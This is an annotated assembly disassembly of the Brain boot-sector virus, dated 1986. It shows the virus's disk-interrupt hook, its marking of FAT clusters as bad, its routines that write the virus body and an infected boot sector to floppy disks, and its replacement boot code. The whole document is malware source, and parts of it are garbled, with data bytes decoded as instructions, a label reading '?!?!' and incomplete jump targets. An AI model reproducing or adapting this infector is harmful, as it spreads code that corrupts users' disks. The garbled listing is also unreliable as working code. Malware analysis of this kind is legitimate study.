PUSH ES ;04BE 06
MOV AX,CS ;04BF 8CC8
MOV ES,AX ;04C1 8EC0
MOV AX,0201 ;04C3 B80102
INT 6D ;04C6 CD6D
POP ES ;04C8 07
JNB ;04D1 ;04C9 7306
POP CX ;04CB 59
LOOP ;04AF ;04CC E2E1
JMP ;04FF ;04CE EB2F
NOP ;04D0 90
POP CX ;04D1 59
MOV AX,CS:[06C2] ;04D2 2EA1C206
CMP AX,1234 ;04D6 3D3412
JNZ ;04E3 ;04D9 7508
MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201
JMP ;0503 ;04E1 EB20
PUSH DS ;04E3 1E
PUSH ES ;04E4 06
MOV AX,CS ;04E5 8CC8
MOV DS,AX ;04E7 8ED8
MOV ES,AX ;04E9 8EC0
PUSH SI ;04EB 56
CALL L0804 ;04EC E81503
JB ;04FA ;04EF 7209
MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202
CALL L06B2 ;04F7 E8B801
POP SI ;04FA 5E
POP ES ;04FB 07
POP DS ;04FC 1F
JNB ;0503 ;04FD 7304
MOV AH,00 ;04FF B400
INT 6D ;0501 CD6D
POP DX ;0503 5A
POP CX ;0504 59
POP BX ;0505 5B
POP AX ;0506 58
CMP CX,+01 ;0507 83F901
JNZ L053C ;050A 7530
CMP DH,00 ;050C 80FE00
JNZ L053C ;050F 752B
CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201
JNZ ;052A ;0517 7511
MOV CX,CS:[06C5] ;0519 2E8B0EC506
MOV DX,CS:[06C3] ;051E 2E8B16C306
MOV DL,CS:[0226] ;0523 2E8A162602
JMP L053C ;0528 EB12
CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202
JNZ L053C ;0530 750A
;
MOV CX,CS:[0007] ;CX = TRACK/SECTOR
MOV DH,CS:[0006] ;DH = HEAD
L053C: INT 6DH ;
RETF 2 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0550: JMP CONTINUE_3 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0553 DW 3 ;
DB ' (c) 1986 Basit & Amjads (pvt) Ltd'
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE_3: ;0577
CALL READ_VERIFY ;READ VERIFY
MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS...
CMP AX,0FFFDH ;
JE L0586 ;...CONTINUE
MOV AL,3 ;ELSE RETURN ??? ERROR
STC ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
L0586: ;0586
MOV CX,0037 ;
MOV Word Ptr [0353],0000 ;
CALL ;05F8 ;058F E86600
CMP AX,0000 ;0592 3D0000
JNZ ;05A5 ;0595 750E
INC Word Ptr [0353] ;0597 FF065303
CMP Word Ptr [0353],+03 ;059B 833E530303
JNZ ;05AB ;05A0 7509
JMP ;05B6 ;05A2 EB12
NOP ;05A4 90
MOV Word Ptr [0353],0000 ;05A5 C70653030000
INC CX ;05AB 41
CMP CX,0163 ;05AC 81F96301
JNZ ;058F ;05B0 75DD
MOV AL,01 ;05B2 B001
STC ;05B4 F9
RET ;05B5 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV DL,03 ;05B6 B203
CALL ;05CB ;05B8 E81000
DEC CX ;05BB 49
DEC DL ;05BC FECA
JNZ ;05B8 ;05BE 75F8
INC CX ;05C0 41
CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD
CALL ;062D ;05C4 E86600
MOV AL,00 ;05C7 B000
CLC ;05C9 F8
RET ;05CA C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
PUSH CX ;05CB 51
PUSH DX ;05CC 52
MOV SI,06BE ;05CD BEBE06
MOV AL,CL ;05D0 8AC1
SHR AL,1 ;05D2 D0E8
JB ;05E4 ;05D4 720E
CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;05D9 8B00
AND AX,F000 ;05DB 2500F0
OR AX,0FF7 ;05DE 0DF70F
JMP ;05EF ;05E1 EB0C
NOP ;05E3 90
CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;05E7 8B00
AND AX,000F ;05E9 250F00
OR AX,FF70 ;05EC 0D70FF
MOV [BX+SI],AX ;05EF 8900
MOV [BX+SI+0400],AX ;05F1 89800004
POP DX ;05F5 5A
POP CX ;05F6 59
RET ;05F7 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
PUSH CX ;05F8 51
MOV SI,06BE ;05F9 BEBE06
MOV AL,CL ;05FC 8AC1
SHR AL,1 ;05FE D0E8
JB L060D ;0600 720B
CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;0605 8B00
AND AX,0FFF ;0607 25FF0F
JMP L0619 ;060A EB0D
;
L060D: CALL FUNCTION_1 ;BX = (CX*3)/2
MOV AX,[BX+SI] ;0610 8B00
AND AX,FFF0 ;0612 25F0FF
MOV CL,04 ;0615 B104
SHR AX,CL ;0617 D3E8
L0619: POP CX ;0619 59
RET ;061A C3
;
;-----------------------------------------------------------------------;
; BX = (CX*3)/2 ;
;-----------------------------------------------------------------------;
FUNCTION_1: ;061B
PUSH DX ;
MOV AX,3 ;
MUL CX ;
SHR AX,1 ;
MOV BX,AX ;
POP DX ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
READ_VERIFY: ;0627
MOV AH,2 ;
CALL VERIFY_SECTORS ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
WRITE_VERIFY: ;062D
MOV AH,03 ;
CALL VERIFY_SECTORS ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
VERIFY_SECTORS: ;0633
MOV CX,4 ;RETRY = 4
L0636: PUSH CX ;
PUSH AX ;
MOV AH,0 ;REST
INT 6DH ;
POP AX ;
JB L0653 ;
MOV BX,offset L06BEH ;
MOV AL,4 ;4==VERIFY
MOV DH,00 ;HEAD 0
MOV DL,[0226] ;DRIVE DL
MOV CX,0002 ;TRACK 0/SECTOR 2
PUSH AX ;
INT 6DH ;
POP AX ;
JNB L065C ;IF ERROR...EXIT
L0653: POP CX ;
LOOP L0636 ;RETRY
POP AX ;
POP AX ;
MOV AL,2 ;BAD ADDRESS MARK ???
STC ;RETURN ERROR
RET ;
;
L065C: POP CX ;
RET ;
;
;-----------------------------------------------------------------------;
; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ;
;-----------------------------------------------------------------------;
CONVERT_1: ;065E
PUSH CX ;
SUB CX,2 ;
SHL CX,1 ;WORD PTR
ADD CX,9*2 ; (SECTORS PER CYLINDER ???)
MOV AX,CX ;
MOV CL,9*2 ; (SECTORS PER CYLINDER ???)
DIV CL ;
MOV DS:[0008],AL ;AL = TRACK
MOV Byte Ptr DS:[0006],0 ;INC. HEAD
INC AH ;INC. SECTOR
CMP AH,9 ;IF TOO BIG...
JBE L0684 ;
SUB AH,9 ;...START AT ZERO
MOV Byte Ptr DS:[0006],1 ;INC. HEAD
L0684: MOV DS:[0007],AH ;
POP CX ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
ADD [BX+SI],AL ;068A 0000
ADD [BX+SI],AL ;068C 0000
ADD [BX+SI],AL ;068E 0000
ADD BP,[SI+00] ;0690 036C00
ADD AX,[BP+DI] ;0693 0303
MOV SI,010E ;0695 BE0E01
ADD [BX+SI],AL ;0698 0000
ADD AX,SP ;069A 01E0
FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0
LAHF ;06A0 9F
LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E
LOOPNZ ;06C7 ;06A5 E020
SUB [BP+DI+29],AH ;06A7 286329
AND [BP+SI+72],AL ;06AA 204272
POPA ;06AD 61
IMUL BP,[BP+20],E824 ;06AE 696E2024E8
FILD DWord Ptr [BX+SI] ;06B3 DB00
JB L06C1 ;06B5 720A
PUSH DI ;06B7 57
CALL ;06DA ;06B8 E81F00
POP DI ;06BB 5F
JB L06C1 ;06BC 7203
CALL WRITE_RBF ;WRITE ROOT BOOT FAT
L06C1: RET ;06C1 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV BX,049B ;06C2 BB9B04
MOV CX,000B ;
L06C8: MOV AL,[BX] ;
NEG AL ;
MOV [SI],AL ;
INC SI ;
INC BX ;
LOOP L06C8 ;
;
MOV AL,08 ;
MOV [SI],AL ;
CLC ;
RET ;06D7 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV Byte Ptr [06C7],91 ;06D8 C606C70691
ADD AL,6C ;06DD 046C
ADD [BP+06FE],BH ;06DF 00BEFE06
MOV [0493],DX ;06E3 89169304
MOV AX,[0491] ;06E7 A19104
SHR AX,1 ;06EA D1E8
MOV [0497],AX ;06EC A39704
SHR AX,1 ;06EF D1E8
MOV [0495],AX ;06F1 A39504
XCHG AX,CX ;06F4 91
AND CL,43 ;06F5 80E143
MOV DI,[0495] ;06F8 8B3E9504
ADD DI,01E3 ;06FC 81C7E301
MOV AL,[SI] ;0700 8A04
CMP AL,00 ;0702 3C00
JZ ;071B ;0704 7415
MOV AL,[SI+0B] ;0706 8A440B
AND AL,08 ;0709 2408
CMP AL,08 ;070B 3C08
JZ ;071B ;070D 740C
ADD SI,+20 ;070F 83C620
DEC Word Ptr [0491] ;0712 FF0E9104
JNZ ;0700 ;0716 75E8
STC ;0718 F9
RET ;0719 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
: ;071A
MOV CX,[BP+DI+331D] ;
PUSH DS ;071E 1E
XCHG AX,DI ;071F 97
ADD AL,89 ;0720 0489
XCHG AX,DI ;0722 3697
ADD AL,FA ;0724 04FA
MOV AX,SS ;0726 8CD0
MOV SS:[0493],AX ;0728 A39304
MOV [0495],SP ;072B 89269504
MOV AX,CS ;072F 8CC8
MOV SS,AX ;0731 8ED0
MOV SP,[0497] ;0733 8B269704
ADD SP,+0C ;0737 83C40C
MOV CL,51 ;073A B151
ADD DX,444C ;073C 81C24C44
MOV DI,2555 ;0740 BF5525
MOV CX,0C03 ;0743 B9030C
REPZ ;0746 F3
CMPSW ;0747 A7
MOV AX,0B46 ;0748 B8460B
MOV CX,0003 ;074B B90300
ROL AX,CL ;074E D3C0
MOV [0497],AX ;0750 A39704
MOV CX,0005 ;0753 B90500
MOV DX,0008 ;0756 BA0800
SUB Word Ptr [0497],5210 ;0759 812E97041052
PUSH [0497] ;075F FF369704
L0763: MOV AH,[BX] ;0763 8A27
INC BX ;0765 43
MOV DL,AH ;0766 8AD4
SHL DL,1 ;0768 D0E2
JB L0763 ;076A 72F7
L076C: MOV DL,[BX] ;076C 8A17
INC BX ;076E 43
MOV AL,DL ;076F 8AC2
SHL DL,1 ;0771 D0E2
JB L076C ;0773 72F7
ADD AX,1D1D ;0775 051D1D
PUSH AX ;0778 50
INC Word Ptr [0497] ;0779 FF069704
JNB L0780 ;077D 7301
JMP 268B:E1E2 ;077F EAE2E18B26
;
XCHG AX,BP ;0784 95
ADD AL,A1 ;0785 04A1
XCHG AX,BX ;0787 93
ADD AL,8E ;0788 048E
SAR BL,1 ;078A D0FB
ADD DH,[BP+SI] ;078C 0232
CLC ;078E F8
RET ;078F C3
;
;-----------------------------------------------------------------------;
; READ ROOT, BOOT, FIRST FAT ;
;-----------------------------------------------------------------------;
READ_RBF: ;0790
MOV Byte Ptr [0490],02 ;COMMAND = READ
JMP ROOT_BOOT_FAT ;DO IT
;
;-----------------------------------------------------------------------;
; WRITE ROOT, BOOT, FIRST FAT ;
;-----------------------------------------------------------------------;
WRITE_RBF: ;0798
MOV Byte Ptr [0490],03 ;COMMAND = WRITE
JMP ROOT_BOOT_FAT ;DO IT
;
;-----------------------------------------------------------------------;
; READ OR WRITE ROOT, BOOT, FIRST FAT ;
;-----------------------------------------------------------------------;
ROOT_BOOT_FAT: ;07A0
MOV DH,0 ;HEAD = 0
MOV DL,[226H] ;DL = DRIVE
MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR
MOV AH,[490H] ;AH = COMMAND
MOV AL,4 ;4 SECTORS
MOV BX,6BEH ;ES:BX = DTA
CALL RESET_DO_IT ;GO TO DISK
JB L07C9 ;IF ERROR...EXIT
;
MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1
MOV DH,1 ;HEAD 1
MOV AH,[490H] ;AH = COMMAND
MOV AL,3 ;3 SECTORS
ADD BX,800H ;ES:BX = DTA
CALL RESET_DO_IT ;GO TO DISK
L07C9: RET ;
;
;-----------------------------------------------------------------------;
; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ;
;-----------------------------------------------------------------------;
RESET_DO_IT: ;07CA
MOV [0493],AX ;
MOV [0495],BX ;SAVE REGs
MOV [0497],CX ;
MOV [0499],DX ;
MOV CX,0004 ;RETRY COUNT = 4
;
RDI_10: PUSH CX ;
MOV AH,00 ;REST DRIVE
INT 6D ;
JB RDI_80 ;IF ERROR...RETRY
MOV AX,[0493] ;RESTORE REGs
MOV BX,[0495] ;
MOV CX,[0497] ;
MOV DX,[0499] ;
INT 6D ;DO SPECIFIED FUNCTION
JNB RDI_90 ;IF NO ERROR...EXIT
RDI_80: POP CX ;
LOOP RDI_10 ;RETRY
STC ;RETURN ERROR
RET ;
;
RDI_90: POP CX ;RETURN NO ERROR
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
ADD [BX+SI],AL ;07FD 0000
ADD [BP+DI],AL ;07FF 0003
ADD [BX+DI],AL ;0801 0001
L0804: ?!?!
ADD BP,AX ;0803 03E8
DEC CX ;0805 49
STD ;0806 FD
JB ;085D ;0807 7254
;
MOV Word Ptr [000A],0001 ;
MOV Byte Ptr [0009],00 ;
MOV BX,06BE ;ES:BX = DTA ?
CALL READ_SECTORS ;
;
MOV BX,06BE ;BX = DTA
MOV AX,[0007] ;GET SECTOR TRACK
MOV [000A],AX ;SAVE SECTOR/TRACK
MOV AH,[0006] ;GET HEAD
MOV [0009],AH ;SAVE HEAD
CALL WRITE_SECTORS ;WRITE SECTOR(S)
CALL NEXT_SECTOR ;POINT TO NEXT
;
MOV CX,0005 ;CX = ???
MOV BX,0200 ;BX = DTA
L0837: MOV [0600],CX ;SAVE ???
CALL WRITE_SECTORS ;WRITE SECTOR(S)
CALL NEXT_SECTOR ;POINT TO NEXT
ADD BX,512 ;DTA += 512
MOV CX,[0600] ;???
LOOP L0837 ;LOOP 5 TIMES ???
;
MOV Byte Ptr [0009],00 ;HEAD = 0
MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1
MOV BX,0000 ;DTA = INFECTED BOOT SECTOR
CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR
CLC ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
READ_SECTORS: ;085E
MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR
JMP DO_SECTORS ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
WRITE_SECTORS: ;0867
MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR
JMP DO_SECTORS ;
;
;-----------------------------------------------------------------------;
; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ;
; ;
; ON ENTRY: DS:[601H] = COMMAND ;
; DS:[602H] = SECTOR COUNT ;
; DS:[226H] = DRIVE ;
; DS:[0009] = HEAD ;
; DS:[000A] = SECTOR ;
; DS:[000B] = TRACK ;
;-----------------------------------------------------------------------;
DO_SECTORS: ;0870
PUSH BX ;
MOV CX,4 ;RETRY COUNT = 4
;
D1S_10: PUSH CX ;
MOV DH,[9] ;HEAD = 9
MOV DL,[226H] ;DRIVE
MOV CX,[10] ;TRACK/SECT
MOV AX,[602H] ;COMMAND/COUNT
INT 6DH ;(SAME AS INT 13)
JNB D1S_80 ;
;
MOV AH,00 ;RESET
INT 6DH ;(SAME AS INT 13)
POP CX ;
LOOP D1S_10 ;TRY AGAIN
POP BX ;
POP BX ;
STC ;RETURN ERROR
RET ;
;
D1S_80: POP CX ;0893 59
POP BX ;0894 5B
RET ;0895 C3
;
;-----------------------------------------------------------------------;
; INC. NEXT SECTOR ;
; ON ENTRY: DS:[0009] = HEAD ;
; DS:[000A] = SECTOR ;
; DS:[000B] = TRACK ;
;-----------------------------------------------------------------------;
NEXT_SECTOR: ;0896
INC Byte Ptr [10] ;SECTOR
CMP Byte Ptr [10],10 ;
JNZ NS_90 ;
MOV Byte Ptr [10],1 ;
INC Byte Ptr [9] ;HEAD
CMP Byte Ptr [9],2 ;
JNZ NS_90 ;
MOV Byte Ptr [9],0 ;
INC Byte Ptr [11] ;TRACK
NS_90: RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
DB 64 ;08BB 'dtk'
JZ ;091F ;
;
;---------------------------------------;
JMP CONTINUE_4 ;08FA
;
DB 'IBM X3.2' ;OEM NAME AND VERSION
;
DW 512 ;BYTES PER SECTOR
DB 2 ;SECTORS PER ALLOCATION UNIT
DW 1 ;RESERVED SECTORS
DB 2 ;NUMBER OF FATS
DW 112 ;NUMBER OF ROOT DIR ENTRIES
DW 2D0H ;SECTORS PER DISK
DB 0FDH ;MEDIA ID
DW 2 ;SECTORS PER FAT
DW 9 ;SECTORS PER TRACK
DW 2 ;NUMBER OF HEADS
DW 0 ;HIDDEN SECTORS
;
;---------------------------------------;
DB 0,0
DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0
DB 002H,0DFH
DB 002H,025H,002H,012H
DB 02AH,0FFH,050H,0F6H
DB 000H,002H,
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
INT 19H ;REBOOT
;
L08FA: CLI ;08FA FA
XOR AX,AX ;08FB 33C0
MOV ES,AX ;08FD 8EC0
MOV SS,AX ;08FF 8ED0
MOV SP,7C00 ;0901 BC007C
MOV DS,AX ;0904 8ED8
MOV BX,07C0 ;0906 BBC007
MOV Word Ptr [0078],002F ;0909 C70678002F00
MOV [007A],BX ;090F 891E7A00
MOV DS,BX ;0913 8EDB
MOV DX,[001E] ;0915 8B161E00
MOV [0020],DL ;0919 88162000
INT 13 ;GO TO DISK
JNB ;0924 ;091F 7303
JMP ;09FC ;0921 E9D800
MOV SI,000B ;0924 BE0B00
MOV CX,[SI] ;0927 8B0C
SHR CH,1 ;0929 D0ED
XCHG CH,CL ;092B 86E9
MOV [002B],CX ;092D 890E2B00
MOV AL,[SI+05] ;0931 8A4405
XOR AH,AH ;0934 32E4
MUL Word Ptr [SI+0B] ;0936 F7640B
ADD AX,[SI+03] ;0939 034403
ADD AX,[SI+11] ;093C 034411
MOV [0024],AX ;093F A32400
MOV BX,7E00 ;0942 BB007E
CALL 0A24 ;0945 E8DC00
MOV BX,ES ;0948 8CC3
MOV AX,0070 ;094A B87000
MOV ES,AX ;094D 8EC0
MOV AX,0020 ;094F B82000
MUL Word Ptr [SI+06] ;0952 F76406
MOV CX,[SI] ;0955 8B0C
ADD AX,CX ;0957 03C1
DEC AX ;0959 48
DIV CX ;095A F7F1
ADD [0024],AX ;095C 01062400
MOV CL,[002A] ;0960 8A0E2A00
MOV AX,[0024] ;0964 A12400
CALL ;0971 ;0967 E80700
PUSH ES ;096A 06
POP DS ;096B 1F
JMP 0070:0000 ;096C EA00007000
;
;HEAVY NUMBER CRUNCHING HERE ;
PUSH BX ;0971 53
PUSH AX ;0972 50
MOV AL,CL ;0973 8AC1
MUL Byte Ptr [002B] ;0975 F6262B00
MOV [0029],AL ;0979 A22900
POP AX ;097C 58
MUL Word Ptr [002B] ;097D F7262B00
DIV Word Ptr [SI+0D] ;0981 F7740D
INC DL ;0984 FEC2
MOV [0028],DL ;0986 88162800
PUSH DX ;098A 52
XOR DX,DX ;098B 33D2
DIV Word Ptr [SI+0F] ;098D F7740F
MOV [0021],DL ;0990 88162100
MOV [0026],AX ;0994 A32600
POP DX ;0997 5A
MOV CL,[0029] ;0998 8A0E2900
ADD DL,CL ;099C 02D1
MOV AX,[SI+0D] ;099E 8B440D
INC AX ;09A1 40
CMP DL,AL ;09A2 3AD0
JBE ;09AC ;09A4 7606
SUB AL,[0028] ;09A6 2A062800
MOV CL,AL ;09AA 8AC8
MOV AL,CL ;09AC 8AC1
MOV DX,[0026] ;09AE 8B162600
MOV CL,06 ;09B2 B106
SHL DH,CL ;09B4 D2E6
OR DH,[0028] ;09B6 0A362800
MOV CX,DX ;09BA 8BCA
XCHG CH,CL ;09BC 86E9
MOV DX,[0020] ;09BE 8B162000
MOV AH,02 ;READ SECTOR
PUSH AX ;
INT 13 ;
POP AX ;09C7 58
JB ;09FC ;09C8 7232
SUB [0029],AL ;09CA 28062900
JBE ;09F5 ;09CE 7625
CBW ;09D0 98
MUL Word Ptr [002D] ;09D1 F7262D00
ADD BX,AX ;09D5 03D8
INC Byte Ptr [0021] ;09D7 FE062100
MOV DL,[0021] ;09DB 8A162100
CMP DL,[SI+0F] ;09DF 3A540F
MOV DL,01 ;09E2 B201
MOV [0028],DL ;09E4 88162800
JB ;0998 ;09E8 72AE
MOV Byte Ptr [0021],00 ;09EA C606210000
INC Word Ptr [0026] ;09EF FF062600
JMP ;0998 ;09F3 EBA3
POP BX ;09F5 5B
RET ;09F6 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV SI,01B3 ;09F7 BEB301
JMP ;09FF ;09FA EB03
MOV SI,01C5 ;09FC BEC501
CALL L0A15 ;09FF E81300
MOV SI,01D4 ;0A02 BED401
CALL L0A15 ;0A05 E80D00
MOV AH,00 ;0A08 B400
INT 16 ;0A0A CD16
MOV AH,01 ;0A0C B401
INT 16 ;0A0E CD16
JNZ 0A0C ;0A10 75FA
JMP ;08F8 ;0A12 E9E3FE
;
L0A15: LODSB ;L0A15
OR AL,AL ;0A16 0AC0
JZ 0A23 ;0A18 7409
MOV AH,0E ;0A1A B40E
MOV BX,0007 ;0A1C BB0700
INT 10 ;0A1F CD10
JMP L0A15 ;0A21 EBF2
RET ;0A23 C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
MOV CL,01 ;0A24 B101
CALL ;0971 ;0A26 E848FF
PUSH SI ;0A29 56
MOV DI,BX ;0A2A 8BFB
MOV AX,ES:[BX+1C] ;0A2C 268B471C
XOR DX,DX ;0A30 33D2
DIV Word Ptr [SI] ;0A32 F734
INC AL ;0A34 FEC0
MOV [002A],AL ;0A36 A22A00
MOV SI,019D ;0A39 BE9D01
MOV CX,000B ;0A3C B90B00
REPZ ;0A3F F3
CMPSB ;0A40 A6
JNZ ;09F7 ;0A41 75B4
MOV AX,ES:[BX+3A] ;0A43 268B473A
MOV [0022],AX ;0A47 A32200
MOV DI,BX ;0A4A 8BFB
ADD DI,+20 ;0A4C 83C720
MOV SI,01A8 ;0A4F BEA801
MOV CX,000B ;0A52 B90B00
REPZ ;0A55 F3
CMPSB ;0A56 A6
JNZ ;09F7 ;0A57 759E
POP SI ;0A59 5E
RET ;0A5A C3
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CODE ENDS ;
END ;